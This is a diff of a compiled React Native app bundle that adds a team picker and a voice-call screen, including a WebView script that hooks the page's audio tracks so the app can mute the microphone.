- var import_jsx_runtime11 = require("react/jsx-runtime");
1683
- function PluginSurface({ pluginId, surface, dismiss, props }) {
1684
- const [manifest, setManifest] = (0, import_react8.useState)(null);
1685
- const [error, setError] = (0, import_react8.useState)(null);
1686
- (0, import_react8.useEffect)(() => {
1687
- let cancelled = false;
1688
- (0, import_plugin_runtime7.getPlugin)(pluginId).then((m) => {
1689
- if (!cancelled) m ? setManifest(m) : setError("Plugin not found");
1690
- }).catch((e) => {
1691
- if (!cancelled) setError(e?.message || "Failed to load");
1692
- });
1693
- return () => {
1694
- cancelled = true;
1695
- };
1696
- }, [pluginId]);
1697
- const body = manifest ? /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(Plugin, { id: pluginId, manifest, props }) : /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(import_react_native11.View, { style: { flex: 1, justifyContent: "center", alignItems: "center", padding: 24 }, children: error ? null : /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(import_react_native11.ActivityIndicator, { color: import_core11.ada.orange }) });
1698
- if (surface.type === "fullscreen") {
1699
- return /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(
1700
- import_plugin_runtime7.SurfaceFullscreen,
1701
- {
1702
- visible: true,
1703
- onClose: dismiss,
1704
- status: surface.title,
1705
- showWordmark: true,
1706
- closeIcon: "x",
1707
- closeLabel: "Close",
1708
- children: body
1709
- }
1710
- );
1711
- }
1712
- return /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(
1713
- import_plugin_runtime7.SurfaceDrawer,
1714
- {
1715
- visible: true,
1716
- onClose: dismiss,
1717
- title: surface.title || pluginId,
1718
- subtitle: surface.subtitle,
1719
- privacy: !!surface.privacy,
1720
- children: body
1721
- }
1722
- );
1723
- }
1724
-
1725
1790
  // src/widgets/WidgetWebView.tsx
1726
- var import_react9 = require("react");
1791
+ var import_react10 = require("react");
1727
1792
  var import_react_native12 = require("react-native");
1728
1793
  var import_react_native_webview2 = require("react-native-webview");
1729
- var import_core12 = require("@ateam-ai-mobile/core");
1730
1794
  var import_core13 = require("@ateam-ai-mobile/core");
1731
- var import_jsx_runtime12 = require("react/jsx-runtime");
1795
+ var import_core14 = require("@ateam-ai-mobile/core");
1796
+ var import_jsx_runtime13 = require("react/jsx-runtime");
1732
1797
  var fontFam4 = import_react_native12.Platform.OS === "ios" ? "SF Pro Rounded" : void 0;
1733
1798
  function WidgetWebView({ visible, title, bundleUrl, onClose }) {
1734
- const [loading, setLoading] = (0, import_react9.useState)(true);
1735
- const [error, setError] = (0, import_react9.useState)(null);
1736
- const uri = (0, import_react9.useMemo)(() => {
1799
+ const [loading, setLoading] = (0, import_react10.useState)(true);
1800
+ const [error, setError] = (0, import_react10.useState)(null);
1801
+ const uri = (0, import_react10.useMemo)(() => {
1737
1802
  if (!bundleUrl) return null;
1738
1803
  if (/^https?:\/\//i.test(bundleUrl)) return bundleUrl;
1739
- return `${(0, import_core13.getCoreApiUrl)()}${bundleUrl}`;
1804
+ return `${(0, import_core14.getCoreApiUrl)()}${bundleUrl}`;
1740
1805
  }, [bundleUrl]);
1741
- return /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(
1806
+ return /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(
1742
1807
  import_react_native12.Modal,
1743
1808
  {
1744
1809
  visible,
1745
1810
  animationType: "slide",
1746
1811
  presentationStyle: "pageSheet",
1747
1812
  onRequestClose: onClose,
1748
- children: /* @__PURE__ */ (0, import_jsx_runtime12.jsxs)(import_react_native12.View, { style: styles11.root, children: [
1749
- /* @__PURE__ */ (0, import_jsx_runtime12.jsxs)(import_react_native12.View, { style: styles11.bar, children: [
1750
- /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(import_react_native12.Pressable, { onPress: onClose, hitSlop: 12, style: styles11.closeBtn, children: /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(import_react_native12.Text, { style: styles11.closeIcon, children: "\u2715" }) }),
1751
- /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(import_react_native12.Text, { style: styles11.title, numberOfLines: 1, children: title || "Widget" }),
1752
- /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(import_react_native12.View, { style: styles11.closeBtn })
1813
+ children: /* @__PURE__ */ (0, import_jsx_runtime13.jsxs)(import_react_native12.View, { style: styles11.root, children: [
1814
+ /* @__PURE__ */ (0, import_jsx_runtime13.jsxs)(import_react_native12.View, { style: styles11.bar, children: [
1815
+ /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_react_native12.Pressable, { onPress: onClose, hitSlop: 12, style: styles11.closeBtn, children: /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_react_native12.Text, { style: styles11.closeIcon, children: "\u2715" }) }),
1816
+ /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_react_native12.Text, { style: styles11.title, numberOfLines: 1, children: title || "Widget" }),
1817
+ /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_react_native12.View, { style: styles11.closeBtn })
1753
1818
  ] }),
1754
- !uri ? /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(import_react_native12.View, { style: styles11.errorWrap, children: /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(import_react_native12.Text, { style: styles11.errorText, children: "No bundle available for this widget." }) }) : error ? /* @__PURE__ */ (0, import_jsx_runtime12.jsxs)(import_react_native12.View, { style: styles11.errorWrap, children: [
1755
- /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(import_react_native12.Text, { style: styles11.errorText, children: "Couldn't load widget" }),
1756
- /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(import_react_native12.Text, { style: styles11.errorSub, children: error })
1757
- ] }) : /* @__PURE__ */ (0, import_jsx_runtime12.jsxs)(import_jsx_runtime12.Fragment, { children: [
1758
- /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(
1819
+ !uri ? /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_react_native12.View, { style: styles11.errorWrap, children: /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_react_native12.Text, { style: styles11.errorText, children: "No bundle available for this widget." }) }) : error ? /* @__PURE__ */ (0, import_jsx_runtime13.jsxs)(import_react_native12.View, { style: styles11.errorWrap, children: [
1820
+ /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_react_native12.Text, { style: styles11.errorText, children: "Couldn't load widget" }),
1821
+ /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_react_native12.Text, { style: styles11.errorSub, children: error })
1822
+ ] }) : /* @__PURE__ */ (0, import_jsx_runtime13.jsxs)(import_jsx_runtime13.Fragment, { children: [
1823
+ /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(
1759
1824
  import_react_native_webview2.WebView,
1760
1825
  {
1761
1826
  source: { uri },
@@ -1777,7 +1842,7 @@ function WidgetWebView({ visible, title, bundleUrl, onClose }) {
1777
1842
  setSupportMultipleWindows: false
1778
1843
  }
1779
1844
  ),
1780
- loading && /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(import_react_native12.View, { pointerEvents: "none", style: styles11.spinner, children: /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(import_react_native12.ActivityIndicator, { color: import_core12.ada.orange }) })
1845
+ loading && /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_react_native12.View, { pointerEvents: "none", style: styles11.spinner, children: /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_react_native12.ActivityIndicator, { color: import_core13.ada.orange }) })
1781
1846
  ] })
1782
1847
  ] })
1783
1848
  }
@@ -1786,7 +1851,7 @@ function WidgetWebView({ visible, title, bundleUrl, onClose }) {
1786
1851
  var styles11 = import_react_native12.StyleSheet.create({
1787
1852
  root: {
1788
1853
  flex: 1,
1789
- backgroundColor: import_core12.ada.paper
1854
+ backgroundColor: import_core13.ada.paper
1790
1855
  },
1791
1856
  bar: {
1792
1857
  flexDirection: "row",
@@ -1794,8 +1859,8 @@ var styles11 = import_react_native12.StyleSheet.create({
1794
1859
  paddingHorizontal: 14,
1795
1860
  paddingVertical: 12,
1796
1861
  borderBottomWidth: 1,
1797
- borderBottomColor: import_core12.ada.border,
1798
- backgroundColor: import_core12.ada.paperSoft
1862
+ borderBottomColor: import_core13.ada.border,
1863
+ backgroundColor: import_core13.ada.paperSoft
1799
1864
  },
1800
1865
  closeBtn: {
1801
1866
  width: 32,
@@ -1805,7 +1870,7 @@ var styles11 = import_react_native12.StyleSheet.create({
1805
1870
  },
1806
1871
  closeIcon: {
1807
1872
  fontSize: 18,
1808
- color: import_core12.ada.ink,
1873
+ color: import_core13.ada.ink,
1809
1874
  fontWeight: "500"
1810
1875
  },
1811
1876
  title: {
@@ -1813,13 +1878,13 @@ var styles11 = import_react_native12.StyleSheet.create({
1813
1878
  textAlign: "center",
1814
1879
  fontSize: 16,
1815
1880
  fontWeight: "600",
1816
- color: import_core12.ada.ink,
1881
+ color: import_core13.ada.ink,
1817
1882
  fontFamily: fontFam4,
1818
1883
  letterSpacing: -0.2
1819
1884
  },
1820
1885
  web: {
1821
1886
  flex: 1,
1822
- backgroundColor: import_core12.ada.paper
1887
+ backgroundColor: import_core13.ada.paper
1823
1888
  },
1824
1889
  spinner: {
1825
1890
  position: "absolute",
@@ -1836,16 +1901,599 @@ var styles11 = import_react_native12.StyleSheet.create({
1836
1901
  },
1837
1902
  errorText: {
1838
1903
  fontSize: 15,
1839
- color: import_core12.ada.ink,
1904
+ color: import_core13.ada.ink,
1840
1905
  fontWeight: "600",
1841
1906
  marginBottom: 6
1842
1907
  },
1843
1908
  errorSub: {
1844
1909
  fontSize: 13,
1845
- color: import_core12.ada.inkMuted,
1910
+ color: import_core13.ada.inkMuted,
1846
1911
  textAlign: "center"
1847
1912
  }
1848
1913
  });
1914
+
1915
+ // src/TenantPicker.tsx
1916
+ var import_react11 = require("react");
1917
+ var import_react_native13 = require("react-native");
1918
+ var import_core15 = require("@ateam-ai-mobile/core");
1919
+ var import_jsx_runtime14 = require("react/jsx-runtime");
1920
+ var fontFam5 = import_react_native13.Platform.OS === "ios" ? "SF Pro Rounded" : void 0;
1921
+ function TenantPicker({ onSelect, currentTenantId }) {
1922
+ const [tenants, setTenants] = (0, import_react11.useState)(null);
1923
+ const [error, setError] = (0, import_react11.useState)(null);
1924
+ const active = currentTenantId ?? (0, import_core15.getTenant)();
1925
+ (0, import_react11.useEffect)(() => {
1926
+ let cancelled = false;
1927
+ (0, import_core15.listMyTenants)().then((list) => {
1928
+ if (!cancelled) setTenants(list);
1929
+ }).catch((e) => {
1930
+ if (!cancelled) setError(e?.message || "Failed to load teams");
1931
+ });
1932
+ return () => {
1933
+ cancelled = true;
1934
+ };
1935
+ }, []);
1936
+ if (error) return /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(import_react_native13.Text, { style: styles12.error, children: error });
1937
+ if (!tenants) {
1938
+ return /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(import_react_native13.View, { style: styles12.loading, children: /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(import_react_native13.ActivityIndicator, { color: import_core15.ada.orange }) });
1939
+ }
1940
+ if (tenants.length === 0) return /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(import_react_native13.Text, { style: styles12.empty, children: "No teams found for this account." });
1941
+ return /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(import_react_native13.View, { style: styles12.list, children: tenants.map((t) => {
1942
+ const isActive = t.id === active;
1943
+ return /* @__PURE__ */ (0, import_jsx_runtime14.jsxs)(
1944
+ import_react_native13.Pressable,
1945
+ {
1946
+ accessibilityRole: "button",
1947
+ accessibilityLabel: `Team ${t.name}${isActive ? ", current" : ""}`,
1948
+ onPress: () => onSelect(t),
1949
+ style: [styles12.row, isActive && styles12.rowActive],
1950
+ children: [
1951
+ /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(import_react_native13.View, { style: styles12.dot }),
1952
+ /* @__PURE__ */ (0, import_jsx_runtime14.jsxs)(import_react_native13.View, { style: styles12.rowText, children: [
1953
+ /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(import_react_native13.Text, { style: styles12.name, children: t.name }),
1954
+ /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(import_react_native13.Text, { style: styles12.slug, children: t.id })
1955
+ ] }),
1956
+ isActive && /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(import_react_native13.Text, { style: styles12.check, children: "\u2713" })
1957
+ ]
1958
+ },
1959
+ t.id
1960
+ );
1961
+ }) });
1962
+ }
1963
+ var styles12 = import_react_native13.StyleSheet.create({
1964
+ list: {
1965
+ gap: 10
1966
+ },
1967
+ row: {
1968
+ flexDirection: "row",
1969
+ alignItems: "center",
1970
+ gap: 12,
1971
+ backgroundColor: import_core15.ada.paperSoft,
1972
+ borderRadius: import_core15.borderRadius.lg,
1973
+ borderWidth: 1,
1974
+ borderColor: "transparent",
1975
+ paddingHorizontal: 16,
1976
+ paddingVertical: 14
1977
+ },
1978
+ rowActive: {
1979
+ backgroundColor: import_core15.ada.orangeSoft,
1980
+ borderColor: import_core15.ada.orange
1981
+ },
1982
+ dot: {
1983
+ width: 10,
1984
+ height: 10,
1985
+ borderRadius: 5,
1986
+ backgroundColor: import_core15.ada.orange
1987
+ },
1988
+ rowText: {
1989
+ flex: 1
1990
+ },
1991
+ name: {
1992
+ color: import_core15.ada.ink,
1993
+ fontSize: import_core15.fontSize.lg,
1994
+ fontWeight: "600",
1995
+ fontFamily: fontFam5
1996
+ },
1997
+ slug: {
1998
+ color: import_core15.ada.inkMuted,
1999
+ fontSize: import_core15.fontSize.sm,
2000
+ fontFamily: "monospace"
2001
+ },
2002
+ check: {
2003
+ color: import_core15.ada.orangeDeep,
2004
+ fontSize: import_core15.fontSize.lg,
2005
+ fontWeight: "700"
2006
+ },
2007
+ loading: {
2008
+ paddingVertical: 24,
2009
+ alignItems: "center"
2010
+ },
2011
+ empty: {
2012
+ color: import_core15.ada.inkMuted,
2013
+ fontSize: import_core15.fontSize.md,
2014
+ textAlign: "center",
2015
+ paddingVertical: 16
2016
+ },
2017
+ error: {
2018
+ color: "#C15545",
2019
+ fontSize: import_core15.fontSize.md,
2020
+ textAlign: "center",
2021
+ paddingVertical: 16
2022
+ }
2023
+ });
2024
+
2025
+ // src/voice/VoiceCallSheet.tsx
2026
+ var import_react13 = require("react");
2027
+ var import_react_native14 = require("react-native");
2028
+ var import_react_native_svg2 = __toESM(require("react-native-svg"));
2029
+ var import_react_native_webview3 = require("react-native-webview");
2030
+ var import_core17 = require("@ateam-ai-mobile/core");
2031
+ var import_plugin_runtime9 = require("@ateam-ai-mobile/plugin-runtime");
2032
+
2033
+ // src/voice/useVoiceCall.ts
2034
+ var import_react12 = require("react");
2035
+ var import_core16 = require("@ateam-ai-mobile/core");
2036
+ var INJECT_TRACK_HOOK = `
2037
+ (function() {
2038
+ if (window._adaTrackHookInstalled) return;
2039
+ window._adaTrackHookInstalled = true;
2040
+ window._allAudioTracks = [];
2041
+ window._adaPeerConnections = [];
2042
+
2043
+ function track(t) {
2044
+ if (t && t.kind === 'audio' && window._allAudioTracks.indexOf(t) === -1) {
2045
+ window._allAudioTracks.push(t);
2046
+ }
2047
+ }
2048
+
2049
+ // 1) Hook getUserMedia \u2014 captures mic streams at request time.
2050
+ try {
2051
+ if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {
2052
+ const origGUM = navigator.mediaDevices.getUserMedia.bind(navigator.mediaDevices);
2053
+ navigator.mediaDevices.getUserMedia = async function(constraints) {
2054
+ const stream = await origGUM(constraints);
2055
+ if (constraints && constraints.audio) {
2056
+ try { stream.getAudioTracks().forEach(track); } catch (e) {}
2057
+ }
2058
+ return stream;
2059
+ };
2060
+ }
2061
+ } catch (e) {}
2062
+
2063
+ // 2) Hook RTCPeerConnection.addTrack \u2014 catches whatever the app sends.
2064
+ try {
2065
+ if (window.RTCPeerConnection) {
2066
+ const origPC = window.RTCPeerConnection;
2067
+ const origAddTrack = origPC.prototype.addTrack;
2068
+ const origAddStream = origPC.prototype.addStream;
2069
+ const origAddTransceiver = origPC.prototype.addTransceiver;
2070
+
2071
+ origPC.prototype.addTrack = function(t) {
2072
+ if (t && t.kind === 'audio') track(t);
2073
+ return origAddTrack.apply(this, arguments);
2074
+ };
2075
+ if (origAddStream) {
2076
+ origPC.prototype.addStream = function(stream) {
2077
+ try { stream.getAudioTracks().forEach(track); } catch (e) {}
2078
+ return origAddStream.apply(this, arguments);
2079
+ };
2080
+ }
2081
+ if (origAddTransceiver) {
2082
+ origPC.prototype.addTransceiver = function(arg) {
2083
+ if (arg && arg.kind === 'audio') {
2084
+ // Transceiver created with kind 'audio' \u2014 sender track set later.
2085
+ } else if (arg && arg.kind === undefined && arg.track && arg.track.kind === 'audio') {
2086
+ track(arg.track);
2087
+ }
2088
+ const tx = origAddTransceiver.apply(this, arguments);
2089
+ try {
2090
+ if (tx && tx.sender && tx.sender.track && tx.sender.track.kind === 'audio') track(tx.sender.track);
2091
+ } catch (e) {}
2092
+ return tx;
2093
+ };
2094
+ }
2095
+ }
2096
+ } catch (e) {}
2097
+
2098
+ // 3) Helper exposed for direct calls.
2099
+ window._adaSetMuted = function(muted) {
2100
+ let n = 0;
2101
+ if (Array.isArray(window._allAudioTracks)) {
2102
+ window._allAudioTracks.forEach(function(t) {
2103
+ try { t.enabled = !muted; n++; } catch (e) {}
2104
+ });
2105
+ }
2106
+ return n;
2107
+ };
2108
+ })(); true;
2109
+ `;
2110
+ var buildMuteScript = (muted) => `
2111
+ (function(muted) {
2112
+ if (typeof window.setMuted === 'function') { window.setMuted(muted); }
2113
+ let n = 0;
2114
+ if (typeof window._adaSetMuted === 'function') {
2115
+ n = window._adaSetMuted(muted);
2116
+ }
2117
+ // Last-resort scan if hook somehow missed.
2118
+ if (n === 0 && Array.isArray(window._allAudioTracks)) {
2119
+ window._allAudioTracks.forEach(function(t) {
2120
+ try { t.enabled = !muted; n++; } catch (e) {}
2121
+ });
2122
+ }
2123
+ console.log('[ada-mute]', muted ? 'MUTED' : 'UNMUTED', 'tracks=', n);
2124
+ })(${muted}); true;
2125
+ `;
2126
+ function useVoiceCall() {
2127
+ const [callState, setCallState] = (0, import_react12.useState)("idle");
2128
+ const [sessionId, setSessionId] = (0, import_react12.useState)(null);
2129
+ const [error, setError] = (0, import_react12.useState)(null);
2130
+ const [transcript, setTranscript] = (0, import_react12.useState)([]);
2131
+ const [aiPartial, setAiPartial] = (0, import_react12.useState)("");
2132
+ const [userPartial, setUserPartial] = (0, import_react12.useState)("");
2133
+ const [muted, setMuted] = (0, import_react12.useState)(false);
2134
+ const webViewRef = (0, import_react12.useRef)(null);
2135
+ const handleWebViewMessage = (0, import_react12.useCallback)((event) => {
2136
+ try {
2137
+ const data = JSON.parse(event.nativeEvent.data);
2138
+ console.log("[VoiceWebView] message:", data.type, data.text?.slice?.(0, 50) || data.state || "");
2139
+ switch (data.type) {
2140
+ case "callState":
2141
+ case "call-state":
2142
+ setCallState(data.state);
2143
+ if (data.sessionId) setSessionId(data.sessionId);
2144
+ if (data.error) setError(data.error);
2145
+ break;
2146
+ case "transcript":
2147
+ setTranscript((prev) => [...prev, { role: data.role, text: data.text, ts: Date.now() }]);
2148
+ break;
2149
+ case "aiPartial":
2150
+ setAiPartial(data.text);
2151
+ break;
2152
+ case "userPartial":
2153
+ setUserPartial(data.text);
2154
+ break;
2155
+ case "clearPartials":
2156
+ setAiPartial("");
2157
+ setUserPartial("");
2158
+ break;
2159
+ case "error":
2160
+ setError(data.message);
2161
+ setCallState("error");
2162
+ break;
2163
+ }
2164
+ } catch {
2165
+ }
2166
+ }, []);
2167
+ const startCall = (0, import_react12.useCallback)(() => {
2168
+ setCallState("connecting");
2169
+ setError(null);
2170
+ setTranscript([]);
2171
+ setAiPartial("");
2172
+ setUserPartial("");
2173
+ }, []);
2174
+ const stopCall = (0, import_react12.useCallback)(() => {
2175
+ webViewRef.current?.injectJavaScript?.("window.hangUp && window.hangUp(); true;");
2176
+ setCallState("idle");
2177
+ setAiPartial("");
2178
+ setUserPartial("");
2179
+ setMuted(false);
2180
+ }, []);
2181
+ const toggleMute = (0, import_react12.useCallback)(() => {
2182
+ setMuted((prev) => {
2183
+ const next = !prev;
2184
+ webViewRef.current?.injectJavaScript?.(buildMuteScript(next));
2185
+ return next;
2186
+ });
2187
+ }, []);
2188
+ const getWebViewSource = (0, import_react12.useCallback)(() => {
2189
+ const token = (0, import_core16.getToken)();
2190
+ const tenant = (0, import_core16.getTenant)();
2191
+ const actorId = (0, import_core16.getUser)()?.actorId || "";
2192
+ return {
2193
+ uri: `${(0, import_core16.getVoiceApiUrl)()}/app?mode=mini&embedded=rn&authToken=${encodeURIComponent(token || "")}&tenant=${encodeURIComponent(tenant)}&actorId=${encodeURIComponent(actorId)}`
2194
+ };
2195
+ }, []);
2196
+ return {
2197
+ callState,
2198
+ sessionId,
2199
+ error,
2200
+ transcript,
2201
+ aiPartial,
2202
+ userPartial,
2203
+ muted,
2204
+ startCall,
2205
+ stopCall,
2206
+ toggleMute,
2207
+ handleWebViewMessage,
2208
+ getWebViewSource,
2209
+ webViewRef,
2210
+ injectedTrackHook: INJECT_TRACK_HOOK
2211
+ };
2212
+ }
2213
+
2214
+ // src/voice/VoiceCallSheet.tsx
2215
+ var import_jsx_runtime15 = require("react/jsx-runtime");
2216
+ var fontFam6 = import_react_native14.Platform.OS === "ios" ? "SF Pro Rounded" : void 0;
2217
+ var HIGHLIGHT_PATTERNS = [
2218
+ /[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}/g,
2219
+ /(?:\+?\d[\s\-().]?){7,}\d/g,
2220
+ /\$\d[\d,]*(?:\.\d{1,2})?/g,
2221
+ /\b\d{1,2}:\d{2}\s?(?:am|pm|AM|PM)?\b/g,
2222
+ /\bhttps?:\/\/\S+/g,
2223
+ /\b\d{4}[\s-]?\d{4}[\s-]?\d{4}[\s-]?\d{4}\b/g
2224
+ ];
2225
+ function highlightSegments(text) {
2226
+ const ranges = [];
2227
+ for (const p of HIGHLIGHT_PATTERNS) {
2228
+ p.lastIndex = 0;
2229
+ let m;
2230
+ while ((m = p.exec(text)) !== null) {
2231
+ ranges.push([m.index, m.index + m[0].length]);
2232
+ }
2233
+ }
2234
+ if (!ranges.length) return [{ text, important: false }];
2235
+ ranges.sort((a, b) => a[0] - b[0]);
2236
+ const merged = [];
2237
+ for (const r of ranges) {
2238
+ if (merged.length && r[0] <= merged[merged.length - 1][1]) {
2239
+ merged[merged.length - 1][1] = Math.max(merged[merged.length - 1][1], r[1]);
2240
+ } else {
2241
+ merged.push([r[0], r[1]]);
2242
+ }
2243
+ }
2244
+ const segments = [];
2245
+ let cursor = 0;
2246
+ for (const [start, end] of merged) {
2247
+ if (start > cursor) segments.push({ text: text.slice(cursor, start), important: false });
2248
+ segments.push({ text: text.slice(start, end), important: true });
2249
+ cursor = end;
2250
+ }
2251
+ if (cursor < text.length) segments.push({ text: text.slice(cursor), important: false });
2252
+ return segments;
2253
+ }
2254
+ function HighlightedText({
2255
+ text,
2256
+ baseStyle,
2257
+ importantStyle
2258
+ }) {
2259
+ const segments = (0, import_react13.useMemo)(() => highlightSegments(text), [text]);
2260
+ return /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_react_native14.Text, { style: baseStyle, children: segments.map((seg, i) => /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_react_native14.Text, { style: seg.important ? importantStyle : void 0, children: seg.text }, i)) });
2261
+ }
2262
+ function VoiceCallSheet({ visible, onClose }) {
2263
+ const {
2264
+ callState,
2265
+ aiPartial,
2266
+ userPartial,
2267
+ transcript,
2268
+ error,
2269
+ muted,
2270
+ startCall,
2271
+ stopCall,
2272
+ toggleMute,
2273
+ handleWebViewMessage,
2274
+ getWebViewSource,
2275
+ webViewRef,
2276
+ injectedTrackHook
2277
+ } = useVoiceCall();
2278
+ const scrollRef = (0, import_react13.useRef)(null);
2279
+ (0, import_react13.useEffect)(() => {
2280
+ if (visible && callState === "idle") startCall();
2281
+ }, [visible]);
2282
+ (0, import_react13.useEffect)(() => {
2283
+ scrollRef.current?.scrollToEnd?.({ animated: true });
2284
+ }, [transcript.length, aiPartial, userPartial]);
2285
+ const handleHangUp = () => {
2286
+ stopCall();
2287
+ onClose();
2288
+ };
2289
+ const orbState = (0, import_react13.useMemo)(() => {
2290
+ if (callState === "connecting") return "thinking";
2291
+ if (callState === "error") return "idle";
2292
+ if (aiPartial) return "speaking";
2293
+ if (userPartial) return "listening";
2294
+ return "idle";
2295
+ }, [callState, aiPartial, userPartial]);
2296
+ const statusLabel = (0, import_react13.useMemo)(() => {
2297
+ if (callState === "connecting") return "Connecting\u2026";
2298
+ if (callState === "error") return error || "Couldn\u2019t connect";
2299
+ if (aiPartial) return "Ada is speaking";
2300
+ if (userPartial) return "Listening";
2301
+ if (callState === "connected") return "Go ahead, I\u2019m here.";
2302
+ return "";
2303
+ }, [callState, aiPartial, userPartial, error]);
2304
+ if (!visible) return null;
2305
+ const visibleEntries = transcript.filter((e) => e.role === "user" || e.role === "ai");
2306
+ return /* @__PURE__ */ (0, import_jsx_runtime15.jsxs)(
2307
+ import_plugin_runtime9.SurfaceFullscreen,
2308
+ {
2309
+ visible,
2310
+ onClose: handleHangUp,
2311
+ status: statusLabel,
2312
+ hero: /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_plugin_runtime9.AdaOrb, { size: 180, state: orbState }),
2313
+ closeIcon: "hangup",
2314
+ closeLabel: "End",
2315
+ children: [
2316
+ /* @__PURE__ */ (0, import_jsx_runtime15.jsxs)(
2317
+ import_react_native14.ScrollView,
2318
+ {
2319
+ ref: scrollRef,
2320
+ style: styles13.transcript,
2321
+ contentContainerStyle: styles13.transcriptContent,
2322
+ showsVerticalScrollIndicator: false,
2323
+ children: [
2324
+ callState === "error" && error ? /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_react_native14.View, { style: styles13.errorBox, children: /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_react_native14.Text, { style: styles13.errorText, children: error }) }) : null,
2325
+ visibleEntries.map((entry, i) => /* @__PURE__ */ (0, import_jsx_runtime15.jsxs)(import_react_native14.View, { style: styles13.entry, children: [
2326
+ /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_react_native14.Text, { style: styles13.role, children: entry.role === "user" ? "YOU" : "ADA" }),
2327
+ /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(
2328
+ HighlightedText,
2329
+ {
2330
+ text: entry.text,
2331
+ baseStyle: styles13.entryText,
2332
+ importantStyle: styles13.important
2333
+ }
2334
+ )
2335
+ ] }, `${entry.ts}-${i}`)),
2336
+ userPartial || aiPartial ? /* @__PURE__ */ (0, import_jsx_runtime15.jsxs)(import_react_native14.View, { style: styles13.entry, children: [
2337
+ /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_react_native14.Text, { style: styles13.role, children: userPartial ? "YOU" : "ADA" }),
2338
+ /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(
2339
+ HighlightedText,
2340
+ {
2341
+ text: userPartial || aiPartial,
2342
+ baseStyle: styles13.entryTextLive,
2343
+ importantStyle: styles13.important
2344
+ }
2345
+ )
2346
+ ] }) : null
2347
+ ]
2348
+ }
2349
+ ),
2350
+ callState === "connected" || callState === "connecting" ? /* @__PURE__ */ (0, import_jsx_runtime15.jsxs)(import_react_native14.View, { style: styles13.muteWrap, pointerEvents: "box-none", children: [
2351
+ /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(
2352
+ import_react_native14.Pressable,
2353
+ {
2354
+ onPress: toggleMute,
2355
+ accessibilityRole: "button",
2356
+ accessibilityLabel: muted ? "Unmute microphone" : "Mute microphone",
2357
+ accessibilityState: { selected: muted },
2358
+ style: [styles13.muteBtn, muted && styles13.muteBtnActive],
2359
+ hitSlop: 12,
2360
+ children: /* @__PURE__ */ (0, import_jsx_runtime15.jsxs)(import_react_native_svg2.default, { width: 22, height: 22, viewBox: "0 0 24 24", fill: "none", stroke: muted ? import_core17.ada.paper : import_core17.ada.ink, strokeWidth: 2, strokeLinecap: "round", strokeLinejoin: "round", children: [
2361
+ /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_react_native_svg2.Path, { d: "M12 1a3 3 0 0 0-3 3v8a3 3 0 0 0 6 0V4a3 3 0 0 0-3-3z" }),
2362
+ /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_react_native_svg2.Path, { d: "M19 10v2a7 7 0 0 1-14 0v-2" }),
2363
+ /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_react_native_svg2.Line, { x1: "12", y1: "19", x2: "12", y2: "23" }),
2364
+ /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_react_native_svg2.Line, { x1: "8", y1: "23", x2: "16", y2: "23" }),
2365
+ muted ? /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_react_native_svg2.Line, { x1: "3", y1: "3", x2: "21", y2: "21", stroke: import_core17.ada.paper, strokeWidth: 2.4 }) : null
2366
+ ] })
2367
+ }
2368
+ ),
2369
+ /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_react_native14.Text, { style: styles13.muteLabel, children: muted ? "Muted" : "Mute" })
2370
+ ] }) : null,
2371
+ callState !== "idle" && /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_react_native14.View, { style: styles13.hiddenWebView, pointerEvents: "none", children: /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(
2372
+ import_react_native_webview3.WebView,
2373
+ {
2374
+ ref: webViewRef,
2375
+ source: getWebViewSource(),
2376
+ style: { flex: 1, backgroundColor: "transparent" },
2377
